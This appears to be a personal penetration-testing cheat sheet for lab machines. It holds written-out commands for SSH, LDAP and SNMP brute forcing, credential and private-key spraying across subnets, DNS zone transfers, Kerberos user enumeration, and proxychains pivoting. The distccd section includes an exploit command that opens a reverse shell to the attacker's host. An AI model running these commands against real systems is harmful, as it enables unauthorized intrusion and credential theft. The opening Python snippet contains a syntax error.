Using python to download ssh nse scripts and import them to the NSE scripts folder for useIn [43]:

#download nse scripts from https://nmap.org/nsedoc/ and import them to nse directory
import sh #install the "sh" module 

#These are scripts I needed but feel free to simply use links to scripts you find that are missing from your repo of scripts
ssh_scripts = ['https://svn.nmap.org/nmap/scripts/ssh-auth-methods.nse','https://svn.nmap.org/nmap/scripts/ssh-brute.nse',
               'https://svn.nmap.org/nmap/scripts/ssh-publickey-acceptance.nse','https://svn.nmap.org/nmap/scripts/ssh-run.nse'
              ]
for dl_link in ssh_scripts:
    if dl_link 
    sh.cd('/usr/share/nmap/scripts/')
    sh.wget(dl_link)

# https://svn.nmap.org/nmap/scripts/ssh-auth-methods.nse

List SSH NSE Scripts

ls /usr/share/nmap/scripts/ | grep ssh

NMAP Brute Force SSH

  • sV switch is needed if the port isn’t normally 22 so it identifies properly
  • if you only have one user just pass a list with that one user

nmap –script ssh-brute –script-args=userdb=/root/HTB/hosts/shocker/user.lst,passdb=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt,brute.emptypass=True -d -v -sV -p 2222 10.10.10.56

Patator Brute force SSH

  • FILE0 for the password list place holder
  • First use without the ignore message parameter to see what messages patator is getting and then set it to that
  • NET0 can be used for first place holder on a subnet to spray
  • https://en.kali.tools/?p=147
  • –max-retries only retry 1 or 2 times for efficiency
  • timeout 10 set to ten seconds for efficiency or more to make sure your connecting
  • -l output directory of files
  • “–threads 10” decrease or increase if you see to many errors

Single user many passwords

patator ssh_login host=10.10.10.56 port=2222 –timeout 30 –threads=20 user=root password=FILE0 0=/root/oscp/lab-net2019/passwords.txt -x ignore:mesg=’Authentication failed.’

SSH Spray single credential

  • launch if you find creds that could be a good candidate against the entire network of open SSH hosts
  • hosts should be in one listed filepatator ssh_login host=FILE0 0=/root/oscp/lab-net2019/ssh-open.nmap port=22 –threads=20 user=bob password=ralphbob7

SSH combo list

patator ssh_login host=FILE0 user=COMBO10 password=COMBO11 0=./ssh-open.nmap 1=./combo-creds.txt

  • ignore failures “xxx” codepatator ssh_login host=FILE0 user=COMBO10 password=COMBO11 0=./ssh-open.nmap 1=./combo-creds.txt –max-retries 0 –timeout 10 -x ignore:fgrep=”Authentication failed.” -x ignore:code=xxx –threads 10

for username as password

  • ignore failures “xxx” codepatator ssh_login host=FILE0 user=FILE1 password=FILE1 0=./ssh-open.nmap 1=usernames.txt –max-retries 0 –timeout 10 –allow-ignore-failures -x ignore:fgrep=”Authentication failed.” -x ignore:code=xxx –threads 10

SSH Private Key Spray

  • spray with user and keyfile against all ssh serverspatator ssh_login keyfile=rsakey.cfg host=FILE0 user=bob 0=/root/oscp/lab-net2019/ssh-open.nmap –max-retries 1 –timeout 10
  • spray keyfile against 1 host and try many users

patator ssh_login keyfile=./f1fb2162a02f0f7c40c210e6167f05ca-16858 host=10.31.1.133 user=FILE0 0=./users.lst –max-retries 3 –timeout 100

Proxychains and patator

  • works!

proxychains patator ssh_login host=10.31.1.36 user=COMBO00 password=COMBO01 0=/root/oscp/lab-net2019/combo-creds.txt

proxychains patator ssh_login host=10.31.1.36 user=carrie password=FILE0 0=/root/oscp/lab-net2019/passwords.txt

Hydra Brute Force SSH

  • -C for colon separated creds list
  • -t for threads to use

Default Creds

  • brute using one of the default creds list in “/usr/share/seclists/Passwords/Default-Credentials/”
  • these have a colon separated scheme to match user/passwords together to tryhydra -C /usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt -t 10 ssh://10.10.10.33

SSH Port Forwarding

  • use in cases where your on a victim box and it has a port open only local ie; 127.0.0.1:3306 so to make it available remotely we can port forward to this port from say 3305 with ssh
  • -g means allow clients on the network toconnect not just local clients
  • -N means don’t start a shell just do port forwarding
  • -f means make this a background process
  • doris@localhost is basically the user that will start this session so may need their creds

Local Port forward

ssh -g -L 3305:127.0.0.1:3306 -f -N doris@localhost

SSH w/Key File

  • Use this command to connect if you have a private key and it’s password as it takes both
  • keep in mind the public key will also have to be in the authorized_keys on the targetssh -i id_rsa [email protected]

SNMP(161)

get the community string and search for miB values that can identify software and other configs on vulnerable machines

NMAP

discover the default community string with attack
  • nmap -Pn -sU –script=snmp-brute -p 161 10.10.10.92

Onesixtyone

Requires a community file with community strings to try (public,private,manager) and a hosts lists
  • onesixtyone -c community -i snmphost.txt

snmp-check

Great for quick enumeration and details of the remote MIB if community/private stringsi known
  • snmp-check -w 10.10.10.92 -c public > snmp-check.txt

snmpwalk

Install the MIB definitions on Kali

  • snmpwalk will need to have the MIB definitions so you might need to install this package otherwise the output might have missing data. Then comment out the snmp.conf file so the newly installed defeinitions are used during a walk.
    • apt-get install snmp-mibs-downloader download-mibs
    • nano /etc/snmp/snmp.conf #comment out all lines as mentioned in the file itself

Query for all OIDs using version 2c, and a community string of “public” against remote host

snmpwalk -v 2c -c public 10.10.10.92

Query a remote host for possible user strings in hte MiB us version 2c

snmpwalk -v 2c -c public 10.10.10.92 SNMPv2-MIB::sysOREntry

DNS(T:53 U:53)

  • If you see tcp and udp port 53 open on a server locally or externally it likely is running a dns server
  • Zone transfers to get all dns-ip mappings from a nameserver
  • you must know the domain for which the dns server is master over to pull zone transfers from it

Nmap

nmap -oA dnsscans –script “dns and not dns-blacklist” –script-args=dns-nsec-enum.domains=bank.htb,dns-nsec3-enum.domains=bank.htb,domain=bank.htb -d -sV -Pn -vv -sU -sS -p T:53 U:53,5353 10.10.10.29

Enumerate Subnet for DNS entries against known DNS server

  • dns servers can be captured from compromised host settingsnmap -v -oN network-dns.nmap –dns-servers 10.13.1.220 -sn -T5 10.13.1.0/24 | grep -v “host down” > dns.nmap
  • For cleaner outputgrep -i “Nmap scan” dns.nmap | awk ‘{print $5 ” ” $6}’
  • To remove the parenthesis from the output so even bettercat DNS.nmap | tr -d ‘()’
  • to get only the dns namesawk -F”.” ‘{print $1}’ dns.nmap > dnsnamesonly.txt

Curl/xargs/grep

  • use domains found in http links with NSlookup
  • Curl/grep for all http links through the list of sites i get with gobuster and look for domain names i can use to identify the host DNS server namegrep http sites.txt | xargs -I {} sh -c “curl -s {}| grep -Eo ‘(http|https)://[a-zA-Z0-9./?=_-]*'”
  • Curl using the Header flag and changing the host param(sometimes you will see different results and possibly a hostname identified in script or comment tagscurl -s -H “Host: test” http://10.10.10.48 | grep -Eo ‘(http|https)://[a-zA-Z0-9./?=_-]*’

NSlookup

  • use this to probe for the servers hostname

nslookup

SERVER 10.10.10.29

  • quick test of local host 127.0.0.1
  • reverse lookup 10.10.10.29
  • test for resolution of the host name to verify bank.htb

Bash one-liner to enumerate subnet from pivot target

for i in $(seq 254); do nslookup 10.1.1.$i |grep -in name; done

dnsrecon

  • test for for resolution against entire subnets in case something is therednsrecon -r 127.0.0.0/24 -n 10.10.10.29

dnsrecon -r 127.0.1.0/24 -n 10.10.10.29

dnsrecon -r 10.10.10.0/24 -n 10.10.10.29

dnsrecon -n 10.10.10.83 -d ctfolympus.htb -a

dnsenum

dnsenum <enter domain>

dig

  • do this even if all else fails for some reason nmap and the other tools can’t catch any hints at times

Zone Transfer

  • Against root zonedig axfr @10.10.10.29
  • Against domaindig axfr @10.10.10.83 ctfolympus.htb

Hosts File/resolv.conf

  • /etc/hosts file is first in name resolution precedence
  • modify firefox setttings so it reads from hosts file properly https://support.mozilla.org/en-US/questions/1011327
  • domain names found via a dig dns transfer could now be used to map to the target IP and find addiotional websites

resolv.conf

  • this will resolve any entries in the zone transfer as opposed to just the one we put in our hosts filenano /etc/resolv.conf
  • add: “nameserver 10.10.10.29” at the top

DNS/Proxychains

  • the dns config for proxy chains is in /usr/lib/proxychains3/proxyresolv
  • change the hardcoded address to the nameserver of the internal network your scanning and you can test something like nslookup

Nslookup on internal network for a host

proxychains nslookup 10.33.1.33

#!/bin/sh # This script is called by proxychains to resolve DNS names # DNS server used to resolve names DNS_SERVER=${PROXYRESOLV_DNS:-10.33.1.33} #CHANGE DNS SERVER HERE

Kerberos(88)

Nmap

nmap -p 88 –script “krb5*” –script-args krb5-enum-users.realm=’active.htb’ 10.10.10.100

Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-05 23:00 PST
Nmap scan report for 10.10.10.100
Host is up (0.086s latency).

PORT   STATE SERVICE
88/tcp open  kerberos-sec
| krb5-enum-users: 
| Discovered Kerberos principals
|_    [email protected]

ms14-068

http://blog.liatsisfotis.com/knock-and-pass-kerberos-exploitation.html

LDAP(389)

nmap -oN ldap.nmap -sV –version-intensity 9 -T2 -p 389 –script “ldap* and not ldap-brute” –script-args= 10.11.1.220

PORT    STATE SERVICE                                                                                                                              
389/tcp open  ldap                                             
| ldap-rootdse:                                  
| LDAP Results                                   
|   <ROOT>                                       
|       currentTime: 20181206070142.0Z           
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=active,DC=htb
|       dsServiceName: CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=active,DC=htb
|       namingContexts: DC=active,DC=htb                   
|       namingContexts: CN=Configuration,DC=active,DC=htb                                                                                      
|       namingContexts: CN=Schema,CN=Configuration,DC=active,DC=htb
.....................THERES MORE CUT OUTPUT HERE FOR EXAMPLE ONLY....................b

Enumerate Users using known creds

nmap -p 389 –script ldap-search –script-args ‘ldap.username=”cn=SVC_TGS,cn=users,dc=active,dc=htb”,ldap.password=Password1234, ldap.qfilter=users,ldap.attrib=sAMAccountName’ 10.10.10.33

ldapsearch

  • use this without creds for anonymous binding attemptldapsearch -h 10.10.10.33 -p 389 -x -s base -b ” “(objectClass=*)” “*” + | more

GetAdUsers.py

  • use this impacket python script to enumerate users and login/email details from a DC

/usr/share/doc/python-impacket/examples/GetADUsers.py -all contoso.com/SVC_TGS -dc-ip 10.10.10.33

LDAP Brute Patator

  • Using combo list against LDAP serverpatator ldap_login host=10.11.1.33 port=389 binddn=’cn=COMBO00,OU=Users’ bindpw=COMBO01 0=/root/oscp/lab-net2019/combo-creds.txt

JBOSS/JMX

Used to doublecheck this against nmap findings. Can be false positive.

python jexboss.py -host http://10.10.10.87:80

distccd(3632)

  • if this port is open use the following nmap script to find if it is exploitable and if you can execute system commands
  • check for ncat or bash/python to then execute a callback command to your listener

simple check for the vuln and the id command

nmap -p 3632 10.10.10.33 –script distcc-cve2004-2687 –script-args=”cmd=’id'”

Using ncat call back to our attacking machine

nmap -p 3632 10.10.10.33 –script distcc-cve2004-2687 –script-args=”cmd=’nc -e /bin/sh 10.10.4.10 443′”

NFS Shares(various high ports with rpcbind 111)

nmap -sV –script=nfs-showmount 10.10.10.3

Try mounting anything that shows up

mkdir tyken

mount -t nfs 10.10.10.3:/_0_bill bill

Showmount

Display nfs mounts on a target

showmount -e 10.10.10.12

Unknown Ports

use ncat to connect to the port and see if it has a banner or something to explore

* ncat 10.10.10.4 4559
Ncat: Connected to 10.10.10.4:4559.
220 badwolf server (HylaFAX (tm) Version 4.4.10) ready.
hello
500 HELLO: Command not recognized.
dir
500 DIR: Command not recognized.
faxstat
500 FAXSTAT: Command not recognized.
help
214-The following commands are recognized (* =>'s unimplemented).
   ABOR    CHMOD   IDLE    JREST   JGPARM* MODE    QUIT    SHUT    SYST 
   ACCT*   CHOWN   JDELE   JSUBM   JGREST* MDMFMT  RCVFMT  SITE    TZONE 
   ADMIN   DELE    JINTR   JSUSP   JGRP*   NLST    REIN    SIZE    TYPE 
   ALLO*   DISABLE JKILL   JWAIT   JGSUBM* NOOP    REST    STAT    -- USER 
   ANSWER  ENABLE  JNEW    JGDELE* JGSUSP* PASS    RETP    STOR    VRFY 
   APPE    HELP    JOB     JGINTR* JGWAIT* PASV    RETR    STOT 
   CWD     FILEFMT JOBFMT  JGKILL* LIST    PORT    RNFR*   STOU 
   CDUP    FORM    JPARM   JGNEW   MDTM    PWD     RNTO*   STRU 
UDP connection with ncat(u param) for port 46878
ncat -unv 10.10.10.92 46878

Port Knocking

  • Method of obfuscation by only openeing a port ie;22 after firt connecting to a series of defined ports ie; 444,555,777. More of a blue team tactic
  • this would then connect to ssh almost like an additional authentication step where it might otherwise seem closed to the attacker

knocking ports to open ssh example using nmap

  • first connect to ssh and before it times out run the port knock script below

ssh [email protected]

for x in 3456 8234 62431; do nmap -Pn –scan-delay 0.2 –max-retries 0 -p $x 10.10.10.33; done

hping3

hping3 -S 10.10.10.33 -p 7 -c 1; hping3 -S 10.10.10.33 -p 2366 -c 1; hping3 -S 10.10.10.33 -p 435-c 1

Nmap Technique

  • Quick commands
    https://github.com/DevilSquidSecOps/NetworkOps/edit/master/Nmap.md
  • -sC means connect scan
  • -sV means do version dection of port service
  • -oA means ouput to .nmap .gnmap and .xml formats to specified file
  • –top-ports you can specify 100,1000,10000
  • -oN <filename> export to a normal file(like nmaps normal output)
  • -sS syn scan

Initial Scan

nmap -oN scan.nmap -v -sS -sU -T5 –top-ports 1000 10.10.10.51

nmap -sC -sV -oA fighter 10.10.10.72

Scan top 10,000 ports

  • avg 134.74 seconds

nmap -oN scan.nmap -v -sS -sV –top-ports 1000 10.10.10.7

Using Vulners nse script

nmap -oN vulners.nmap -sV –version-intensity 9 –script vulners -p 80 10.10.10.37

Scan All ports

nmap -p- -T5 -oN all.nmap 10.10.10.51

Grep open ports

  • need nmap gerppable file

grep -oP ‘\d{1,5}/open’ scan.grep

Awk Open ports and pipe to new NMAP scan

  • -F ” |/” sets the field separator ie; 22/open
  • /open/ on any line that has “open” in it
  • {print $1} print the first field of that line ie; “22” if the line started with 22/open
  • {print \$NF”:”\$4} this would print the last field in the line followed by a colon and then the 4th field
  • ORS=”,” this replaces the newline chars with a comma putting all ports from an nmap scan into one line separated by commas
  • {print substr(\$1, 1, length(\$1)-1)} choose the line “\$1, 1,” and make it’s length the line itself minus one char “length(\$1)-1)}”
  • -I ‘{}’ Finally pipe to xargs with these params to store the line with now comma separated ports and feed into nmap

awk -F” |/” ‘/open/ {print $1}’ ORS=”,” scan.nmap | awk ‘{print substr($1, 1, length($1)-1)}’ | xargs -I ‘{}’ nmap -v -sV –version-intensity 9 –script vulners -p {} 10.10.10.11